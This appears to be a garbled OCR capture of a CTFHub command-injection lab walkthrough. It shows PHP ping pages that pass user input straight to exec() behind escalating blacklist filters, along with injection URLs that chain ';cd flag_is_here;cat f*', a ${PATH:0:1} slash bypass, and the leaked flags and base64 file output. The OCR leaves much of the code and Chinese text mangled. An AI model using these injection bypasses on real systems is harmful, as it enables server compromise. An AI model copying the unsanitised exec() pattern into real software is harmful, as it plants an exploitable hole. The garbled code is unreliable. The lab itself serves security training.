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$res = FALSE;
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}
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Sres = FALSE:
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if (lpreg match all("/cat/”, $ip, $m)) {
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$res = FALSE:

if (isset($_ GET[ ip']) && S8 GET[ip'l) {
Sip = $_GET[ ip’]:

Smo= [I:
if (lpreg match all("/cat/”, $ip, $m)) {
$cmd = “ping —c¢ 4 {$ip}”;

exec($emd, S$res);
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$ip = $ GET[ip J;
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if  (lpreg_match_all("/cat/”, $ip, $m)) {
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<head>
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</head>
<{body>

<hI>CTFHub #ir &k A-idicat</h1>

{form action="#" method="GET">
{label for="ip">IP : </label><br>
<input type="text” id="ip” name="ip">
<input type="submit” value="Ping”>
</form»
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Sres = FALSE:

if (isset($_GET['ip']) && S GET[ip']) {

$ip §_CET["ip'J:

Smo= [1:

if (!preg_match_all("/ /7, $ip, $m)) {
$emd = “ping —c 4 {$ip}”;
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$res = FALSE:

if (isset($_GET[ ip’']) && S_GET[ip’'l) {
Sip = $_GET['ip’]:
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Scmd = “ping —c¢ 4 {$ip}”;
exec(Semd, $res):
1 Alan I R s
O O=s2 O=ws Oess NRs Oamer O O B T desws 8 08es @ Hacksar B O - X
Encryption ~  Encoding~ SQL ~ XSS~ LFl~ XXE~ Other ~ Help!
@ Load URL htp://challenge-3ac858b96ca4705e.sandbox ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat f*
0 split URL
& 4
» ) Execute

[J Postdata [ Referer [ User Agent [J Cookies Clear All

REREME Mcat PR, BF RIIEMNL, 52fag

& view-source:http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat f* kg In @ B8 %




!DOCTYPE
<html>
<head>

<title>CTFHub #r4iEA—id
</head>
<body>

HRBET </ title>

<hI>CTFHub it &3 A-id i H 70 ba £ </h1>

{form action="#" method="GET">
<label for="ip">IP : </label><br>
{input type="text” id="ip” name="ip”>
{input type="submit” value="Ping”>
</form>

<hr>

<{pre>
Array

[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1]1 => <?php // ctrhub{3b8f0dfbe86a31408f7e61ba}

</pre>

<code><span style="color: #000000">

{span style="color: #0000BB”>&1t:?php<br /><br />$resinbsp:<{/span><{span style="color: #007700">=
{/code>

</body>

</html>

sp:</span>{span style="color: #0000BB”>FALSE</span><{span style="color: #007700">:<br

HEZ:

TElinuxfI RAN LB EFS{PATH: 0: /}RE/

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;1s flag is_here{PATH:0:1}



FERE AT L, B 3flag is_here I SCHEH A

QO 8 challenge-3ad858b96cad705¢.sandbox.ctfhub.com:10800/2ip=127.0.0.1;ls flag_is_here${PATH:0:1} In 60 B8 %
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[ |[ping |
Array
(

[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag 252412887014927. php

)

<?php

$res = FALSE;

if (isset($_GET['ip']) & S$_GET[ip’]) {
$ip = $ GET[ip J;

Smo= [1;
if (lpreg match_all("/\//", $ip, S$m)) {
$cmd = “ping -c 4 {$ip}”:
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[ |[Ping |

Array

(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
al =

<{?php

$res = FALSE:

if  (isset(8_GET['ip']l) & S$_GET['ip'l) {
$ip = $ GET[ip I;

Smo= [J:
if (!preg match all("/\//”, $ip, $m)) |
$emd = “ping -c¢ 4 {$ip}”:
exec($cmd, Sres);
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Array

(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[11 =>

<?php

$res = FALSE;

if (isset($_GET['ip']) & S$_GET[ip’D) {
$ip = $_GET[ip’1:

smo= 0 4
if (lpreg match all("/\//", $ip, $m) {
Scmd = “ping —c 4 {$ip}”:
exec($cmd, Sres):
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<!DOCTYPE htmi>
<html>
<head>
Ctitle>CTRHub i 4Ll R AR/ title>
</head>
<body>

<h1>CTFHub it &3 A-id € H 3 b < /h1>

{form action="%" method="GET">
(label for="ip”>IP : </label><br>
<input type="text” id="ip” mame="ip”>
<input type="submit” value="Ping”>
</form>

<hr>

{pre>
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => <?php // ctfhub{3b8f0dfbe86a31408f7e61ba}
)
</pre>

{code><{span style="color: #000000">
{span style="color: #0000BB”>&1t:?php<br /><br />$resinbsp:</span>{span style="color: #007700">=&nbsp;</span>{span style="color: #0000BB”>FALSE{/span>{span style="color: #007700">;<br
</code>

</body>
</html>
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Array

(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag 7666637111301. php
[2] => index. php

)

<2php

$res = FALSE:

if (isset($_ GET[ ip']) && S8 GET[ ip'l) {
$ip = S$_GET[ip’ I:

Smo= [I:
if (lpreg_match_all("/(\| [\&) /", S$ip, $m)) {
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Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[11 =
<{?php
Sres = FALSE:
if (isset($_GET['ip']) & S GET[ip'D) {
Sip = S$_GET[ ip'I:
Sm = :
if (lpreg match all("/(\|[\&) /", S$ip, $m)) {
$emd = “ping -c¢ 4 {$ip}”;
exec(Semd, S$res);
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<!DOCTYPE html>
<html>
<head>
<title>CTFHub #r & EA-ILHEIEH T/ title>
</head>
<body>

<hI>CTFHub 2 E AT HEIEFHAT</h1>

<form action="#" method="GET">
{label for="ip">IP : </label><br>
<input type="text” id="ip” mame="ip”>
<input type="submit” value="Ping”>
{/form>

<hr>

<{pre>
Array
(

[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1]1 => <Pphp // ctrhub{e988e5986b75797¢397adbba}
)
</pre>

{code>{span style="color: #000000">

{span style="color: #0000BB">&1t;?php<br /><br />$resknbsp;<{/span>{span style="color: #007700">=knbsp;<{/span><span style="color: #0000BB">FALSE</span><span style="color: #007700">;<br
{/code>

</body>

</html>
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[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => PD9waHAgLy8gY3RmaHVie2U50DhINTkANMI3NTc5N2Mz0TdhOWI2YX0K
)
<{?php
Sres = FALSE;
if (isset(8_GET[ip']) & S$_GET[ip’]) |
Sip = S_CET['ip'l:
Sm = [1;
it (!preg_match_all("/(\|[\&)/", $ip, $m) |
Scmd = “ping —c¢ 4 {$ip}”; v
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|ping|

[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
11 =

ces = FALSE;

(isset($_GET[ ip’]) && S$_GET[ip’l) {
$ip = $_GET[ip'1:
Smo= [I:
if (!preg_match all("/(\|\& /", $ip, $m) {

$cmd = “ping —c¢ 4 {$ip}”;
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Array
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[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag_is_here
[2] => index. php

)

<?php
Sres = FALSE;

if (isset($_GET[ip’]) & S$_GET['ip']l) |
Sip = S$_GET["ip'];

Smo= [1;
if  (Ipreg_match_all(”/(\||&!: \/|cat|flag|ctfhub)/”, $ip, S$m)) {
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[0] => Array
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IP:
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Array
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[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => flag 300121897522180. php

)

<?php

$res = FALSE;

if (isset($_GET['ip']) & S$_GET[ip’l) {
Sip = $_GET[ip'];

Smo= [1;
if (!preg match all("/(\|[&!: \/|cat|flag|ctfhub) /7, $ip, $m)) {
Semd = “ping —c 4 {$ip}”:
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Array
[0] => Array

[0] = cat
)

[1] => Array
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)
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Array

(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
11 =

<?php

$res = FALSE;

if  (isset(S_GET[ ip’]) && $_GET[ip’D) {
Sip = $.GET['ip’J:
Smo = [I;

if (lpreg match_all(”/(\||&/; \/|cat|flag|ctfhub)/”, $ip,

$emd = “ping -c¢ 4 {$ip}
exec($emd, Sres);
I
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<!DOCTYPE html>

<html>
<head>
<title>CTFHub A &VEA-ZRTH </ titled
</head>
<{body>

<h1>CTFHub i @¥EA-LEE#R21</h1>

{form action="%#" method="CET">
<{label for="ip”>IP : <{/label><br>
{input type="text” id="ip” name="ip”>
{input type="submit” value="Ping”>
/form>

<hr>
{pre>

Array

(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[11 => <?php // ctrhub{d74e2254522998614190868d}
)
</pre>

<code><{span style="color: #000000">

{span style="color: #0000BB”>&1t;?php<br /><br />$resknbsp;</span><span style="color: #007700”>=&nbsp;</span><span style="color: #0000BB”>FALSE{/span><span style="color: #007700”>;<br

</code>
</body>
</html>
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Array
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
al =

<{?php

§res = FALSE;

if (isset($_GET[ ip']) & $_GBICip’D) |

$ip = $_GET[ ip’l:

Smo= [I:
if (lpreg match all("/(\||&/; \/|cat|flag|ctfhub) /", $ip, $m)) {
$cmd = “ping —c¢ 4 {$ip}”;
exec($cmd, Sres):
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!DOCTYPE html>
<html>
<head>
CtitleXCTFHub fir&EAN-£EER21</ title>
</head>
<{body>

<hI>CTFHub i AL A 25 21</h1>

{form action="#" method="GET">
{label for="ip">IP : </label><br>
<input type="text” id="ip” name="ip”>
<input type="submit” value="Ping”>
</form>

<hr>

{pre>
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => <?php // ctfhub{9658761782cb100d7c9931e4}
)
</pre>

{code>{span style="color: #000000”>

{span style="color: #0000BB”>&1t;?php<br /><br />$resknbsp;<{/span><span style="color: #007700”>=&nbsp;</span><span style="color: #0000BB”>FALSE</span><span style="color: #007700”>;<br
</code>

</body>

</html>
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Array
(

[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes

[1] => PDIwaHAgLy8gY3RmaHViezk2NTg3NjE30D] j¥ jEWMCQ3Yzk5MzF INHOK
)

<?php
Sres = FALSE;

if (isset($_GET[ip']) && $_GET[ip’]) {
Sip = S$_GET["ip'];
$mo= [I:
if  (Ipreg_match_all(”/(\||&!: \/|cat|flag|ctfhub)/”, $ip, S$m)) {

$cmd = “ping -c 4 {$ip}”:
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